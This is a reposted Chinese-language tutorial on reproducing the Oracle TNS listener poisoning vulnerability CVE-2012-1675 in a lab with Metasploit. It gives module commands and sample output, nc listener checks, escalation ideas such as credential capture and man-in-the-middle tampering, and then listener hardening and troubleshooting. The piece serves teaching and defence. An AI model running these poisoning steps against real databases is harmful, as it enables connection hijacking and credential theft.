当前位置: 首页 > news >正文

Oracle TNS监听器远程投毒漏洞CVE-2012-1675复现与防御指南

1. 项目概述与背景解析

最近在整理一些老漏洞的复现笔记,翻到了Oracle数据库历史上一个挺有意思的漏洞——CVE-2012-1675,业内也常称之为“TNS Listener远程数据投毒漏洞”。这个漏洞虽然年份久远,但它的原理和影响范围在今天看来依然具有很高的学习价值,尤其是在理解数据库网络服务和中间人攻击方面。很多刚接触渗透测试的朋友,可能对Metasploit的使用还停留在exploit/multi/handler或者exploit/windows/smb/ms17_010_eternalblue这类“一键式”操作上,对于如何针对特定服务、特定漏洞进行手动配置和利用,缺乏一个完整的认知闭环。这次,我就以Kali Linux为操作平台,用Metasploit框架完整地走一遍这个漏洞的复现流程,目标不仅仅是“跑通”,更重要的是理解每一个步骤背后的“为什么”。

简单来说,CVE-2012-1675漏洞的核心在于Oracle数据库的“透明网络底层”(Transparent Network Substrate, TNS)监听器(Listener)。这个监听器负责处理客户端与数据库实例之间的初始连接。漏洞允许攻击者在不进行身份验证的情况下,向一个正在运行的TNS监听器发送精心构造的数据包,从而“投毒”其注册信息。成功利用后,攻击者可以将目标数据库实例的连接请求,重定向到另一个由攻击者控制的数据库服务器上。这听起来有点像DNS劫持,只不过发生在数据库的网络协议层。想象一下,一个应用程序以为自己连接的是公司核心的生产数据库,实际上所有流量都被悄无声息地导到了一个“山寨”数据库上,攻击者可以在那里窃听、篡改数据,甚至发起进一步的攻击,后果可想而知。

为什么选择在Kali上用Metasploit复现?首先,Kali集成了渗透测试所需的大量工具链,环境纯净且易于配置。其次,Metasploit的auxiliary/scanner/oracle/tnspoison_checkerauxiliary/admin/oracle/tnspoison模块对这个漏洞的支持非常成熟,它不仅能检测漏洞存在,还能执行实际的投毒攻击,并且提供了清晰的参数和反馈,非常适合教学和原理验证。整个过程会涉及网络扫描、漏洞验证、参数配置、攻击执行以及结果验证等多个环节,是一个很好的综合性练习。

2. 环境准备与目标确认

在开始动手之前,明确我们的实验环境是至关重要的。为了安全且合法地学习,强烈建议在隔离的虚拟化环境中进行所有操作,例如使用VirtualBox或VMware搭建的专属实验网络。

2.1 攻击机环境配置

我们的攻击机是Kali Linux。首先,确保系统是最新状态,并且Metasploit框架已就绪。打开终端,执行以下命令更新源并检查Metasploit:

sudo apt update && sudo apt upgrade -y msfconsole --version

如果Metasploit没有安装,可以使用sudo apt install metasploit-framework进行安装。进入msfconsole后,我们第一步需要搜索与Oracle TNS相关的模块。

msf6 > search oracle tnspoison Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/oracle/tnspoison 2012-04-18 normal No Oracle TNS Listener Poison Attack 1 auxiliary/scanner/oracle/tnspoison_checker 2012-04-18 normal Yes Oracle TNS Listener Poison Checker

这里我们看到两个关键模块:tnspoison_checker(检查器)和tnspoison(攻击器)。我们通常会先用检查器扫描目标,确认漏洞存在且环境符合利用条件后,再使用攻击器。

2.2 靶机环境搭建

对于靶机,我们需要一个存在CVE-2012-1675漏洞的Oracle数据库环境。由于Oracle数据库安装复杂且版权受限,在实验环境中,我推荐以下几种方案:

  1. 预构建的漏洞虚拟机:如 VulnHub、TryHackMe 或某些安全实验室提供的包含老旧Oracle版本的镜像(例如Oracle Database 10g/11g的早期版本)。这是最方便快捷的方式。
  2. Docker容器:社区有一些Docker镜像模拟了存在漏洞的Oracle TNS监听器服务。你可以搜索相关镜像,但需要注意其合法性和完整性。
  3. 自定义安装:如果你有Oracle的合法授权,可以在虚拟机中安装一个特定版本的Oracle Database(例如11.2.0.3之前未打补丁的版本),并确保TNS监听器运行在默认端口1521上。

在本记录中,我们假设靶机IP地址为192.168.1.100,运行着一个未打补丁的Oracle 11g数据库,其TNS监听器在1521端口上监听。

2.3 网络与依赖检查

确保攻击机(Kali)和靶机(Oracle数据库)在同一个网络段,能够互相ping通。同时,需要确认Kali上是否有必要的网络工具,如nc(netcat)、tnscmd10g等,这些工具有时在手动探测时能提供额外信息。可以用which ncwhich tnscmd10g检查。

注意:复现此类漏洞必须确保在授权范围内进行。任何对非自有或未授权系统的测试都是非法的。

3. 漏洞原理深度剖析

在启动Metasploit之前,花点时间彻底理解CVE-2012-1675的原理,这能让你在后续操作中清楚地知道每一步在做什么,而不是机械地输入命令。

Oracle的TNS监听器有一个动态注册机制。当一个数据库实例启动时,它会向监听器注册自己的服务名和连接信息。此外,监听器也接受远程注册。漏洞就出在这个“远程注册”过程的验证上。

正常的流程:一个合法的数据库实例(INST_A)向监听器(LISTENER)发送注册包,说:“你好,我是服务名ORCL,我的地址是192.168.1.100:1521。” 监听器会把这个信息记录到自己的服务表里。

漏洞利用流程

  1. 监听:攻击者首先需要运行一个自己控制的“恶意”Oracle数据库实例(INST_B),它监听在另一个IP和端口上,例如192.168.2.200:1522
  2. 投毒:攻击者向目标监听器(192.168.1.100:1521)发送一个伪造的注册数据包。这个包会声称:“我是服务名ORCL,但我的新地址是192.168.2.200:1522。”
  3. 覆盖:由于漏洞的存在,目标监听器在验证这个“更新”请求时存在缺陷,它会用攻击者提供的新地址覆盖掉原来合法的ORCL服务地址。
  4. 重定向:当客户端(比如一个应用程序服务器)尝试连接服务名ORCL时,监听器会查看自己的服务表,发现ORCL指向192.168.2.200:1522,于是将连接请求转发给攻击者的数据库。
  5. 中间人攻击:攻击者的数据库可以配置成“透明代理”,将连接请求再次转发到真正的数据库(192.168.1.100:1521),从而在中间窃取或篡改所有通信数据。也可以直接提供一个伪造的数据库来收集凭证。

简单类比:就像你去邮局(监听器)登记你的住址(服务地址)。本来你住在A街1号。一个骗子跑到邮局,说“我是你,我现在搬到B街2号了”。有漏洞的邮局不经核实就更新了记录。以后所有寄给你的邮件,都被送到了B街2号的骗子手里。

Metasploit的tnspoison模块自动化完成了“投毒”这一步。而tnspoison_checker模块则是发送一个特殊的探测包,根据监听器的响应来判断它是否容易受到此类攻击。

4. 利用Metasploit进行漏洞复现

现在,我们进入实战操作环节。打开你的Kali终端,输入msfconsole进入框架。

4.1 第一阶段:漏洞扫描与确认

首先使用检查器模块,确认目标是否存在漏洞。

msf6 > use auxiliary/scanner/oracle/tnspoison_checker msf6 auxiliary(scanner/oracle/tnspoison_checker) > show options Module options (auxiliary/scanner/oracle/tnspoison_checker): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 1521 yes The target port (TCP) THREADS 1 yes The number of concurrent threads (max one per host)

我们需要设置目标地址。假设我们只扫描一个主机。

msf6 auxiliary(scanner/oracle/tnspoison_checker) > set RHOSTS 192.168.1.100 RHOSTS => 192.168.1.100 msf6 auxiliary(scanner/oracle/tnspoison_checker) > run [*] 192.168.1.100:1521 - Checking 192.168.1.100:1521 for vulnerability... [*] 192.168.1.100:1521 - Sending probe... [+] 192.168.1.100:1521 - The TNS listener is vulnerable to poisoning (CVE-2012-1675). [*] 192.168.1.100:1521 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

看到[+]标志和“vulnerable”字样,说明目标确实存在漏洞。如果显示[-] ... is not vulnerable,则说明目标可能已经打了补丁,或者监听器配置了防护措施(如VALID_NODE_CHECKING_REGISTRATION参数),复现将无法继续。

4.2 第二阶段:配置攻击模块

确认漏洞存在后,我们切换到攻击模块。

msf6 > use auxiliary/admin/oracle/tnspoison msf6 auxiliary(admin/oracle/tnspoison) > show options Module options (auxiliary/admin/oracle/tnspoison): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 1521 yes The target port (TCP) SID yes The sid/service to poison. TARGET_SERVER yes The server to redirect connections to (ip[:port]). TARGET_SID no The sid/service on the target server (default: same as SID).

这里有几个关键参数需要理解并设置:

  • RHOSTS:目标监听器地址,即192.168.1.100
  • SID:要投毒的Oracle服务名(Service ID)。这是最关键的一步。你需要知道目标数据库上运行的一个有效服务名。常见的默认服务名有ORCLXE(Express Edition)、PROD等。如果不知道,需要进行服务枚举。我们可以用Metasploit的其他模块,比如auxiliary/scanner/oracle/tnslsnr_version来获取信息,或者用tnscmd10g工具手动查询:tnscmd10g version -h 192.168.1.100。这里我们假设目标服务名是ORCL
  • TARGET_SERVER:攻击者控制的恶意数据库服务器的地址。这是另一个关键点。你需要准备另一台机器(可以是同一台Kali上的另一个端口,也可以是网络中的另一台主机)运行一个Oracle实例或模拟器,并监听某个端口。为了简化实验,我们可以在Kali本机上使用一个简单的网络工具(如socat)模拟一个监听端口,但这只能演示“投毒”成功,无法演示完整的中间人流量。更真实的测试需要另一台Oracle实例。这里假设我们控制的服务器IP是192.168.1.200,端口用1522
  • TARGET_SID:可选。重定向到的目标服务器上的服务名,默认与SID相同。

设置参数:

msf6 auxiliary(admin/oracle/tnspoison) > set RHOSTS 192.168.1.100 RHOSTS => 192.168.1.100 msf6 auxiliary(admin/oracle/tnspoison) > set SID ORCL SID => ORCL msf6 auxiliary(admin/oracle/tnspoison) > set TARGET_SERVER 192.168.1.200:1522 TARGET_SERVER => 192.168.1.200:1522

4.3 第三阶段:执行投毒攻击

参数设置完毕,执行攻击。

msf6 auxiliary(admin/oracle/tnspoison) > run [*] 192.168.1.100:1521 - Poisoning service 'ORCL' on 192.168.1.100:1521... [*] 192.168.1.100:1521 - Sending poisoned service data... [+] 192.168.1.100:1521 - Poison data sent successfully. Connections to 'ORCL' may now be redirected to 192.168.1.200:1522. [*] Auxiliary module execution completed

看到[+] Poison data sent successfully,恭喜你,投毒攻击已经完成。此时,目标TNS监听器内部的服务注册表中,ORCL服务对应的地址很可能已经被修改为192.168.1.200:1522

4.4 第四阶段:验证攻击效果

攻击是否真的生效?我们需要进行验证。验证方法有多种:

  1. 在攻击机(Kali)上模拟客户端连接:使用Oracle的sqlplus客户端尝试连接(需要安装Oracle Instant Client)。如果连接被重定向到我们设定的192.168.1.200:1522,并且我们在那台机器上用tcpdumpWireshark抓包看到了连接请求,就证明成功。

    # 在Kali上,假设安装了sqlplus sqlplus system/password@192.168.1.100:1521/ORCL

    如果攻击成功,这个连接请求的网络流量目的地将是192.168.1.200:1522

  2. 在攻击者控制的服务器上监听:在192.168.1.200上使用netcatsocat监听1522端口,观察是否有来自目标网络或客户端的连接尝试。

    # 在192.168.1.200上执行 nc -lvnp 1522
  3. 查询监听器状态(如果可能):如果对目标有进一步的信息收集能力,可以尝试用tnscmd10g命令查询监听器的服务状态,观察ORCL服务的ADDRESS字段是否发生了变化。但这通常需要更多权限。

实操心得:在实际渗透测试中,仅仅发送投毒包可能不够。因为合法的数据库实例会定期向监听器重新注册,覆盖掉攻击者的投毒记录。因此,一个更稳定的攻击模式是“持续投毒”,即需要周期性地(例如每30秒)发送投毒包,以维持对服务条目的控制。Metasploit的这个模块是单次攻击,要实现持续投毒,可能需要编写脚本循环调用该模块,或者使用其他更专业的工具。

5. 高级利用场景与防御思考

成功复现漏洞只是第一步,理解如何将其用于真实的攻击链以及如何防御更为重要。

5.1 从投毒到全面入侵

单纯的TNS投毒本身并不能直接获取数据库权限。它是一个“跳板”漏洞,为后续攻击创造条件:

  1. 凭证窃取:攻击者搭建一个恶意的Oracle实例,配置成记录所有登录尝试。当应用程序连接被重定向过来时,其数据库用户名和密码(可能是明文或可破解的哈希)就会被记录。
  2. 中间人(MitM)与数据篡改:攻击者可以部署一个透明的TNS代理。所有客户端流量先经过代理,代理将流量转发给真实数据库,同时可以实时查看、修改传输的SQL语句和结果集。例如,将SELECT salary FROM employees的查询结果翻倍,或者插入一条额外的转账指令。
  3. 结合其他漏洞:获取到有效的数据库凭证后,攻击者可以进一步利用数据库本身的漏洞(如权限提升、SQL注入等)获取操作系统权限,从而完全控制服务器。

5.2 漏洞检测与防御措施

从防御者角度,如何发现和阻止此类攻击?

检测:

  • 网络监控:在数据库网络边界部署IDS/IPS,设置规则检测异常的TNS注册数据包,特别是来自非受信IP的注册请求。
  • 监听器日志分析:定期检查Oracle TNS监听器的日志文件(listener.log),寻找异常的SERVICE_UPDATE或来自未知源的注册事件。
  • 服务状态监控:使用lsnrctl services命令定期检查注册服务的地址,对比基线,发现异常的重定向。

防御:

  1. 打补丁:这是最根本的解决方案。为Oracle数据库应用最新的CPU(Critical Patch Update)。
  2. 网络隔离:将Oracle数据库服务器部署在内网,严格限制访问源,只允许特定的应用服务器IP连接1521端口。在防火墙上拒绝外部对1521端口的直接访问。
  3. 配置强化:在listener.ora配置文件中设置以下安全参数:
    • SECURE_REGISTER_LISTENER = (TCP)SECURE_REGISTER_LISTENER = (IPC):限制注册的协议。
    • VALID_NODE_CHECKING_REGISTRATION = ON/SUBNET/LOCAL:此参数至关重要。它限制了可以向监听器动态注册服务的客户端IP地址。设置为LOCAL只允许本地注册,能彻底防御远程投毒。
    • REMOTE_REGISTRATION_ADDRESS:如果必须远程注册,则在此指定允许注册的特定地址。
  4. 使用静态注册:在listener.ora中手动静态配置服务信息(SID_LIST_LISTENER),完全禁用动态注册功能。
  5. 启用TNS监听器密码:为监听器管理设置密码,防止未授权的管理命令。

5.3 复现过程中的常见问题与排查

在复现过程中,你可能会遇到以下问题:

问题现象可能原因排查步骤与解决方案
tnspoison_checker返回not vulnerable1. 目标已打补丁。
2. 监听器配置了VALID_NODE_CHECKING_REGISTRATION等防护。
3. 网络不通或防火墙拦截。
1. 确认Oracle版本和补丁级别。
2. 尝试用tnscmd10g status等命令获取更多监听器信息。
3. 用telnetnc检查1521端口连通性。
tnspoison模块执行后无成功提示1.SID设置错误,目标无此服务。
2.TARGET_SERVER地址不可达或端口未监听。
3. 投毒包被网络设备过滤。
1. 使用auxiliary/scanner/oracle/sid_enum等模块枚举有效SID。
2. 确保TARGET_SERVER的IP和端口正确,并在其上启动一个监听服务(如nc -lvp 1522)以接收测试连接。
3. 检查网络路径,确保攻击包能到达目标。
投毒成功但客户端连接未重定向1. 客户端使用了本地命名解析(tnsnames.ora)直接指定了实例地址,绕过了监听器的服务查询。
2. 合法数据库实例频繁重新注册,覆盖了投毒条目。
3. 监听器有多个,客户端连接了另一个。
1. 检查客户端的连接方式。此漏洞主要影响依赖监听器动态服务查询的连接。
2. 实施“持续投毒”,编写脚本定期运行攻击模块。
3. 确认客户端实际连接的监听器地址和端口。
Metasploit模块运行报错或崩溃1. Ruby环境或Metasploit依赖问题。
2. 模块与特定Oracle版本交互存在兼容性问题。
1. 更新Kali及Metasploit到最新版本:msfupdate
2. 查看详细错误日志,尝试在msfconsole中设置LogLevel 3获取更多调试信息。
3. 搜索Metasploit的GitHub Issues看是否有已知问题。

个人经验分享:在内部网络测试时,我曾遇到一个案例,tnspoison_checker显示漏洞存在,但投毒始终不成功。后来发现是目标服务器的本地防火墙(iptables)规则丢弃了来自非信任子网的数据包,尽管端口是开放的。所以,“漏洞存在”不等于“漏洞可被利用”,网络拓扑和主机防火墙是必须考虑的因素。另外,对于现代稍具规模的数据中心,数据库通常位于严格隔离的网段,从互联网直接攻击1521端口的场景已不多见,但在内网横向移动阶段,这个漏洞仍可能成为突破边界的一把利器。理解原理,掌握方法,才能更好地进行安全评估与防护。

http://www.jsqmd.com/news/1135518/

相关文章:

  • 【Claude Code】入门
  • 【Atlas】 Atlas 启动时常见的端口有哪些(如 21000)?
  • RxjavaRetrofitDemo源码解析:从单例模式到观察者模式的设计思路
  • 3个步骤告别BT下载慢:trackerslist项目让你的下载速度提升300%
  • HOScrcpy:鸿蒙开发者必备的远程真机投屏终极解决方案
  • Hermes Agent:构建下一代智能代理框架的模块化架构与实践指南
  • Anki记忆革命:7天掌握终身受益的学习系统
  • AI大模型高考数学评测:从“宕机”现象看复杂推理能力边界与优化策略
  • 终极3个漫画阅读管理方案:为Android用户打造的纯净开源阅读体验
  • 《深入理解计算机系统》读书笔记01: 从入门到实践
  • Java基础及入门
  • 【数学建模题目翻译】保护区核心要素:野生生物与栖息地
  • 【C++】日期类实现
  • 内网渗透核心技术解析:从信息收集到横向移动的实战攻防
  • 构建面向多租户环境的LLM API资源聚合平台安全架构
  • 你的电脑为什么越来越慢?82款硬件检测工具一站式解决所有性能问题
  • 3步搞定PHP代码自动化重构:Rector让你告别手动升级的烦恼 [特殊字符]
  • LunaTV终极容器化部署指南:5分钟构建个人影视中心
  • Halcon 标定板像素当量实战:单图计算XY方向精度,误差控制在0.01mm内
  • 使用Metasploit生成Windows后门:从原理到实战控制
  • Minecraft基岩版启动器终极指南:如何免费管理多个游戏版本
  • STM32与IS31FL3731 LED驱动芯片的硬件设计与优化
  • OpenCV 4.8 与 PIL.Image 图像转换:BGR/RGB 通道陷阱与 3 种正确转换方法
  • 如何在3小时内构建企业级知识图谱:R2R完全指南
  • 5分钟搭建终极AI知识库:Open Notebook开源智能笔记完全指南
  • 终极品牌图标解决方案:Simple Icons让开发者效率提升10倍的完整指南
  • Python国密SM4加密实战:pysm4库深度解析与最佳实践
  • 场效应晶体管结构工作原理输出特性传输特性
  • intellij-erlang高级技巧:10个让你事半功倍的使用方法
  • SRC漏洞挖掘——4.安全配置错误漏洞实战详解